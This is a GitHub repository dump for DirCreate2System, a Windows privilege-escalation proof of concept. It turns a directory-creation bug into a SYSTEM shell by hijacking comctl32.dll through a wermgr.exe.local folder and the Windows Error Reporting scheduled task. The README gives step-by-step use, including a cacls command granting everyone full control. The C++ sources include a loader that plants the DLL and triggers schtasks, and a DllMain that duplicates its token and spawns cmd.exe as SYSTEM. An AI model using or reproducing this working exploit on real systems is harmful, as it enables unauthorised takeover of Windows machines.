├── POC1.jpg ├── README.md ├── bin ├── dircreate2system.exe └── spawn.dll ├── poc.wmv └── src ├── dircreate2system ├── dircreate2system.sln ├── dircreate2system │ ├── dircreate2system.cpp │ ├── dircreate2system.vcxproj │ ├── dircreate2system.vcxproj.filters │ └── dircreate2system.vcxproj.user └── x64 │ └── Release │ ├── dircreate2system.exe │ ├── dircreate2system.iobj │ ├── dircreate2system.ipdb │ ├── dircreate2system.pdb │ └── spawn.dll └── dll_spawn_cmd ├── dll_spawn_cmd.sln ├── dll_spawn_cmd ├── cpp.hint ├── dll_spawn_cmd.cpp ├── dll_spawn_cmd.h ├── dll_spawn_cmd.vcxproj ├── dll_spawn_cmd.vcxproj.filters ├── dll_spawn_cmd.vcxproj.user ├── dllmain.cpp ├── framework.h ├── pch.cpp └── pch.h └── x64 └── Release └── spawn.dll /POC1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binderlabs/DirCreate2System/2a48d7da731858d1b7e2aad2c974acd29c07bcd7/POC1.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DirCreate2System 2 | Weaponizing to get NT AUTHORITY\SYSTEM for Privileged Directory Creation Bugs with Windows Error Reporting 3 | 4 | ### Short Description: 5 | I've discovered **comctl32.dll** (which is missing in system dir which doesn't really exist) has been loaded by wermgr.exe via windows error reporting by running schtasks. It means if we can create a folder name as **C:\windows\system32\wermgr.exe.local** with Full permission ACL, we can hijack the **comctl32.dll** in that folders. Then, I created this poc as a Directory creation to NT AUTHORITY\SYSTEM shell method. 6 | 7 | ### **POC video** 8 | [POC.wmv](https://github.com/binderlabs/DirCreate2System/blob/main/poc.wmv) (with backblaze's directory creation bug) 9 | #### Remark: I've already reported to backblaze and they replied me that it's know issues. So, I made a video poc for educational purpose of this dircreate2system poc. 10 | 11 | ### For testing purposes: 12 | (if you have a directory creation bug via service vulnerabilities, you don't need administrator access) 13 | 1. **As an administrator**, create directory `wermgr.exe.local` in `C:\Windows\System32\` 14 | 2. And then, give it access control `cacls C:\Windows\System32\wermgr.exe.local /e /g everyone:f` 15 | 3. Place `spawn.dll` file and `dircreate2system.exe` in a same directory. 16 | 4. Then, run `dircreate2system.exe`. 17 | 5. Enjoy a shell as NT AUTHORITY\SYSTEM. 18 | 19 | ![test1](https://github.com/binderlabs/DirCreate2System/blob/main/POC1.jpg) 20 | 21 | #### *Note:* 22 | *You can also use another methods by viewing this* [dir_create2system.txt](https://github.com/sailay1996/awesome_windows_logical_bugs/blob/master/dir_create2system.txt) 23 | -------------------------------------------------------------------------------- /bin/dircreate2system.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binderlabs/DirCreate2System/2a48d7da731858d1b7e2aad2c974acd29c07bcd7/bin/dircreate2system.exe -------------------------------------------------------------------------------- /bin/spawn.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binderlabs/DirCreate2System/2a48d7da731858d1b7e2aad2c974acd29c07bcd7/bin/spawn.dll -------------------------------------------------------------------------------- /poc.wmv: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binderlabs/DirCreate2System/2a48d7da731858d1b7e2aad2c974acd29c07bcd7/poc.wmv -------------------------------------------------------------------------------- /src/dircreate2system/dircreate2system.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30907.101 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dircreate2system", "dircreate2system\dircreate2system.vcxproj", "{7EE536AE-6C1D-4881-88F7-37C8F2A0CA50}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {7EE536AE-6C1D-4881-88F7-37C8F2A0CA50}.Debug|x64.ActiveCfg = Debug|x64 17 | {7EE536AE-6C1D-4881-88F7-37C8F2A0CA50}.Debug|x64.Build.0 = Debug|x64 18 | {7EE536AE-6C1D-4881-88F7-37C8F2A0CA50}.Debug|x86.ActiveCfg = Debug|Win32 19 | {7EE536AE-6C1D-4881-88F7-37C8F2A0CA50}.Debug|x86.Build.0 = Debug|Win32 20 | {7EE536AE-6C1D-4881-88F7-37C8F2A0CA50}.Release|x64.ActiveCfg = Release|x64 21 | {7EE536AE-6C1D-4881-88F7-37C8F2A0CA50}.Release|x64.Build.0 = Release|x64 22 | {7EE536AE-6C1D-4881-88F7-37C8F2A0CA50}.Release|x86.ActiveCfg = Release|Win32 23 | {7EE536AE-6C1D-4881-88F7-37C8F2A0CA50}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {4805FB21-F55C-47DF-A2DF-1E3D18DACD86} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /src/dircreate2system/dircreate2system/dircreate2system.cpp: -------------------------------------------------------------------------------- 1 | // dircreate2system.cpp : This file contains the 'main' function. Program execution begins and ends there. 2 | // 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include > 10 | #include 11 | #include 12 | 13 | 14 | #pragma comment(lib, "Shlwapi.lib") 15 | 16 | using namespace std; 17 | 18 | int main() 19 | { 20 | LPCWSTR path = (L"C:\\Windows\\System32\\wermgr.exe.local"); 21 | 22 | if (PathFileExists(path)) 23 | { 24 | //MessageBox(NULL, L"This file exists", L"File exists", MB_OK); 25 | //wprintf(L":\n"); 26 | wprintf(L"\n[+] Arbitrary Directory Creation to SYSTEM Shell technique !\n"); 27 | wprintf(L"\n[+] Poc By @404death \n"); 28 | WIN32_FIND_DATA FindFileData; 29 | HANDLE hFind; 30 | hFind = FindFirstFile(L"C:\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6*", &FindFileData); 31 | wchar_t BeginPath[MAX_PATH] = L"C:\\Windows\\WinSxS\\"; 32 | wchar_t CommonControlsFolder[MAX_PATH]; 33 | wchar_t EndPath[23] = L"\\comctl32.dll"; 34 | wmemcpy(CommonControlsFolder, FindFileData.cFileName, wcslen(FindFileData.cFileName)); 35 | FindClose(hFind); 36 | wcscat_s(BeginPath, CommonControlsFolder); 37 | wcscat_s(BeginPath, EndPath); 38 | 39 | //CommonControlsFolder 40 | //wprintf_s(CommonControlsFolder); 41 | wchar_t lpStrsyspath[MAX_PATH] = L"C:\\windows\\system32\\wermgr.exe.local\\"; //cacls C:\\windows\\system32\\wermgr.exe.local /e /g everyone:f 42 | wcscat_s(lpStrsyspath, CommonControlsFolder); 43 | wprintf(L"\n[+] Finding directory to hijack....\n"); 44 | Sleep(2000); 45 | //wchar_t test = lpStrsyspath; 46 | //CreateDirectoryW(lpStrsyspath, NULL); 47 | if (!CreateDirectoryW(lpStrsyspath, NULL)) 48 | { 49 | wprintf(L"\nCouldn't create %S directory.\n", lpStrsyspath); 50 | } 51 | else 52 | { 53 | wprintf(L"\n[+] directory successfully created.\n", lpStrsyspath); 54 | } 55 | 56 | wcscat_s(lpStrsyspath, EndPath); 57 | wprintf(L"\n[+] Copying dll file to created directory....\n"); 58 | Sleep(1000); 59 | if (!CopyFileW(L"spawn.dll", lpStrsyspath, true)) 60 | { 61 | wprintf(L"\nCouldn't create %S File.\n", lpStrsyspath); 62 | } 63 | else 64 | { 65 | wprintf(L"\n[+] Dll File successfully created.\n", lpStrsyspath); 66 | Sleep(1000); 67 | } 68 | //CopyFileW(L"spawn.dll", lpStrsyspath, true); 69 | 70 | //MessageBox(0, lpStrsyspath, L"path!!!", MB_OK); 71 | WinExec("cmd /c SCHTASKS /RUN /TN \"Microsoft\\Windows\\Windows Error Reporting\\QueueReporting\" > nul 2>&1", 0); 72 | wprintf(L"\n[+] Spawning SYSTEM shell...\n"); 73 | return 0; 74 | } 75 | else 76 | { 77 | MessageBox(NULL, L"[+] Exploitable directory doesn't exist !!!", L"Folder Doesn't exists", MB_OK); 78 | } 79 | return 0; 80 | } -------------------------------------------------------------------------------- /src/dircreate2system/dircreate2system/dircreate2system.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {7ee536ae-6c1d-4881-88f7-37c8f2a0ca50} 25 | dircreate2system 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /src/dircreate2system/dircreate2system/dircreate2system.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /src/dircreate2system/dircreate2system/dircreate2system.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /src/dircreate2system/x64/Release/dircreate2system.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binderlabs/DirCreate2System/2a48d7da731858d1b7e2aad2c974acd29c07bcd7/src/dircreate2system/x64/Release/dircreate2system.exe -------------------------------------------------------------------------------- /src/dircreate2system/x64/Release/dircreate2system.iobj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binderlabs/DirCreate2System/2a48d7da731858d1b7e2aad2c974acd29c07bcd7/src/dircreate2system/x64/Release/dircreate2system.iobj -------------------------------------------------------------------------------- /src/dircreate2system/x64/Release/dircreate2system.ipdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binderlabs/DirCreate2System/2a48d7da731858d1b7e2aad2c974acd29c07bcd7/src/dircreate2system/x64/Release/dircreate2system.ipdb -------------------------------------------------------------------------------- /src/dircreate2system/x64/Release/dircreate2system.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binderlabs/DirCreate2System/2a48d7da731858d1b7e2aad2c974acd29c07bcd7/src/dircreate2system/x64/Release/dircreate2system.pdb -------------------------------------------------------------------------------- /src/dircreate2system/x64/Release/spawn.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binderlabs/DirCreate2System/2a48d7da731858d1b7e2aad2c974acd29c07bcd7/src/dircreate2system/x64/Release/spawn.dll -------------------------------------------------------------------------------- /src/dll_spawn_cmd/dll_spawn_cmd.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.29709.97 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "dll_spawn_cmd", "dll_spawn_cmd\dll_spawn_cmd.vcxproj", "{765C5755-DBE9-4AB5-9427-921D0E46F9F0}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {765C5755-DBE9-4AB5-9427-921D0E46F9F0}.Debug|x64.ActiveCfg = Debug|x64 17 | {765C5755-DBE9-4AB5-9427-921D0E46F9F0}.Debug|x64.Build.0 = Debug|x64 18 | {765C5755-DBE9-4AB5-9427-921D0E46F9F0}.Debug|x86.ActiveCfg = Debug|Win32 19 | {765C5755-DBE9-4AB5-9427-921D0E46F9F0}.Debug|x86.Build.0 = Debug|Win32 20 | {765C5755-DBE9-4AB5-9427-921D0E46F9F0}.Release|x64.ActiveCfg = Release|x64 21 | {765C5755-DBE9-4AB5-9427-921D0E46F9F0}.Release|x64.Build.0 = Release|x64 22 | {765C5755-DBE9-4AB5-9427-921D0E46F9F0}.Release|x86.ActiveCfg = Release|Win32 23 | {765C5755-DBE9-4AB5-9427-921D0E46F9F0}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {091663F4-3CF5-4326-9EFD-48F15AEFF9F7} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /src/dll_spawn_cmd/dll_spawn_cmd/cpp.hint: -------------------------------------------------------------------------------- 1 | #define DLLSPAWNCMD_API __declspec(dllexport) 2 | #define DLLSPAWNCMD_API __declspec(dllimport) 3 | -------------------------------------------------------------------------------- /src/dll_spawn_cmd/dll_spawn_cmd/dll_spawn_cmd.cpp: -------------------------------------------------------------------------------- 1 | // dll_spawn_cmd.cpp : Defines the exported functions for the DLL. 2 | // 3 | 4 | #include "pch.h" 5 | #include "framework.h" 6 | #include "dll_spawn_cmd.h" 7 | 8 | 9 | // This is an example of an exported variable 10 | DLLSPAWNCMD_API int ndllspawncmd=0; 11 | 12 | // This is an example of an exported function. 13 | DLLSPAWNCMD_API int fndllspawncmd(void) 14 | { 15 | return 0; 16 | } 17 | 18 | // This is the constructor of a class that has been exported. 19 | Cdllspawncmd::Cdllspawncmd() 20 | { 21 | return; 22 | } 23 | -------------------------------------------------------------------------------- /src/dll_spawn_cmd/dll_spawn_cmd/dll_spawn_cmd.h: -------------------------------------------------------------------------------- 1 | // The following ifdef block is the standard way of creating macros which make exporting 2 | // from a DLL simpler. All files within this DLL are compiled with the DLLSPAWNCMD_EXPORTS 3 | // symbol defined on the command line. This symbol should not be defined on any project 4 | // that uses this DLL. This way any other project whose source files include this file see 5 | // DLLSPAWNCMD_API functions as being imported from a DLL, whereas this DLL sees symbols 6 | // defined with this macro as being exported. 7 | #ifdef DLLSPAWNCMD_EXPORTS 8 | #define DLLSPAWNCMD_API __declspec(dllexport) 9 | #else 10 | #define DLLSPAWNCMD_API __declspec(dllimport) 11 | #endif 12 | 13 | // This class is exported from the dll 14 | class DLLSPAWNCMD_API Cdllspawncmd { 15 | public: 16 | Cdllspawncmd(void); 17 | // TODO: add your methods here. 18 | }; 19 | 20 | extern DLLSPAWNCMD_API int ndllspawncmd; 21 | 22 | DLLSPAWNCMD_API int fndllspawncmd(void); 23 | -------------------------------------------------------------------------------- /src/dll_spawn_cmd/dll_spawn_cmd/dll_spawn_cmd.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {765C5755-DBE9-4AB5-9427-921D0E46F9F0} 24 | Win32Proj 25 | dllspawncmd 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | DLLSPAWNCMD 75 | true 76 | 77 | 78 | DLLSPAWNCMD 79 | true 80 | 81 | 82 | DLLSPAWNCMD 83 | false 84 | 85 | 86 | DLLSPAWNCMD 87 | false 88 | 89 | 90 | 91 | Use 92 | Level3 93 | true 94 | WIN32;_DEBUG;DLLSPAWNCMD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 95 | true 96 | pch.h 97 | 98 | 99 | Windows 100 | true 101 | false 102 | 103 | 104 | 105 | 106 | Use 107 | Level3 108 | true 109 | _DEBUG;DLLSPAWNCMD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 110 | true 111 | pch.h 112 | 113 | 114 | Windows 115 | true 116 | false 117 | 118 | 119 | 120 | 121 | Use 122 | Level3 123 | true 124 | true 125 | true 126 | WIN32;NDEBUG;DLLSPAWNCMD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 127 | true 128 | pch.h 129 | 130 | 131 | Windows 132 | true 133 | true 134 | true 135 | false 136 | 137 | 138 | 139 | 140 | Use 141 | Level3 142 | true 143 | true 144 | true 145 | NDEBUG;DLLSPAWNCMD_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 146 | true 147 | pch.h 148 | 149 | 150 | Windows 151 | true 152 | true 153 | true 154 | false 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | Create 170 | Create 171 | Create 172 | Create 173 | 174 | 175 | 176 | 177 | 178 | -------------------------------------------------------------------------------- /src/dll_spawn_cmd/dll_spawn_cmd/dll_spawn_cmd.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | Header Files 29 | 30 | 31 | 32 | 33 | Source Files 34 | 35 | 36 | Source Files 37 | 38 | 39 | Source Files 40 | 41 | 42 | -------------------------------------------------------------------------------- /src/dll_spawn_cmd/dll_spawn_cmd/dll_spawn_cmd.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /src/dll_spawn_cmd/dll_spawn_cmd/dllmain.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : Defines the entry point for the DLL application. 2 | #include "pch.h" 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #pragma comment(lib, "Wtsapi32.lib") 12 | 13 | using namespace std; 14 | 15 | wstring expandPath(const wchar_t* input) { 16 | wchar_t szEnvPath[MAX_PATH]; 17 | ::ExpandEnvironmentStringsW(input, szEnvPath, MAX_PATH); 18 | return szEnvPath; 19 | } 20 | 21 | auto getUsername() { 22 | wchar_t usernamebuf[UNLEN + 1]; 23 | DWORD size = UNLEN + 1; 24 | GetUserName((TCHAR*)usernamebuf, &size); 25 | static auto username = wstring{ usernamebuf }; 26 | return username; 27 | } 28 | 29 | auto getProcessFilename() { 30 | wchar_t process_filenamebuf[MAX_PATH]{ 0x0000 }; 31 | GetModuleFileName(0, process_filenamebuf, MAX_PATH); 32 | static auto process_filename = wstring{ process_filenamebuf }; 33 | return process_filename; 34 | } 35 | 36 | auto getModuleFilename(HMODULE hModule = nullptr) { 37 | wchar_t module_filenamebuf[MAX_PATH]{ 0x0000 }; 38 | if (hModule != nullptr) GetModuleFileName(hModule, module_filenamebuf, MAX_PATH); 39 | static auto module_filename = wstring{ module_filenamebuf }; 40 | return module_filename; 41 | } 42 | 43 | bool showMessage() { 44 | Beep(4000, 400); 45 | Beep(4000, 400); 46 | Beep(4000, 400); 47 | 48 | auto m = L"This file:\n"s + getModuleFilename() + L"\nwas loaded by:\n"s + getProcessFilename() + L"\nrunning as:\n" + getUsername(); 49 | auto message = (wchar_t*)m.c_str(); 50 | DWORD messageAnswer{}; 51 | WTSSendMessage(WTS_CURRENT_SERVER_HANDLE, WTSGetActiveConsoleSessionId(), (wchar_t*)L"", 0, message, lstrlenW(message) * 2, 0, 0, &messageAnswer, true); 52 | 53 | return true; 54 | } 55 | bool spawnShell() 56 | { 57 | STARTUPINFO startInfo = { 0x00 }; 58 | startInfo.cb = sizeof(startInfo); 59 | startInfo.wShowWindow = SW_SHOW; 60 | startInfo.lpDesktop = const_cast(L"WinSta0\\Default"); 61 | 62 | PROCESS_INFORMATION procInfo = { 0x00 }; 63 | 64 | HANDLE hToken = {}; 65 | DWORD sessionId = WTSGetActiveConsoleSessionId(); 66 | 67 | OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken); 68 | DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, nullptr, SecurityAnonymous, TokenPrimary, &hToken); 69 | 70 | SetTokenInformation(hToken, TokenSessionId, &sessionId, sizeof(sessionId)); 71 | 72 | if (CreateProcessAsUser(hToken, 73 | expandPath(L"%WINDIR%\\system32\\cmd.exe").c_str(), 74 | const_cast(L""), 75 | nullptr, 76 | nullptr, 77 | FALSE, 78 | NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE, 79 | nullptr, 80 | nullptr, 81 | &startInfo, 82 | &procInfo 83 | ) 84 | ) { 85 | CloseHandle(procInfo.hProcess); 86 | CloseHandle(procInfo.hThread); 87 | } 88 | 89 | return true; 90 | } 91 | static const auto init = spawnShell(); 92 | 93 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) 94 | { 95 | getModuleFilename(hModule); 96 | static auto const msgshown = showMessage(); 97 | } -------------------------------------------------------------------------------- /src/dll_spawn_cmd/dll_spawn_cmd/framework.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 4 | // Windows Header Files 5 | #include 6 | -------------------------------------------------------------------------------- /src/dll_spawn_cmd/dll_spawn_cmd/pch.cpp: -------------------------------------------------------------------------------- 1 | // pch.cpp: source file corresponding to the pre-compiled header 2 | 3 | #include "pch.h" 4 | 5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed. 6 | -------------------------------------------------------------------------------- /src/dll_spawn_cmd/dll_spawn_cmd/pch.h: -------------------------------------------------------------------------------- 1 | // pch.h: This is a precompiled header file. 2 | // Files listed below are compiled only once, improving build performance for future builds. 3 | // This also affects IntelliSense performance, including code completion and many code browsing features. 4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds. 5 | // Do not add files here that you will be updating frequently as this negates the performance advantage. 6 | 7 | #ifndef PCH_H 8 | #define PCH_H 9 | 10 | // add headers that you want to pre-compile here 11 | #include "framework.h" 12 | 13 | #endif //PCH_H 14 | -------------------------------------------------------------------------------- /src/dll_spawn_cmd/x64/Release/spawn.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binderlabs/DirCreate2System/2a48d7da731858d1b7e2aad2c974acd29c07bcd7/src/dll_spawn_cmd/x64/Release/spawn.dll --------------------------------------------------------------------------------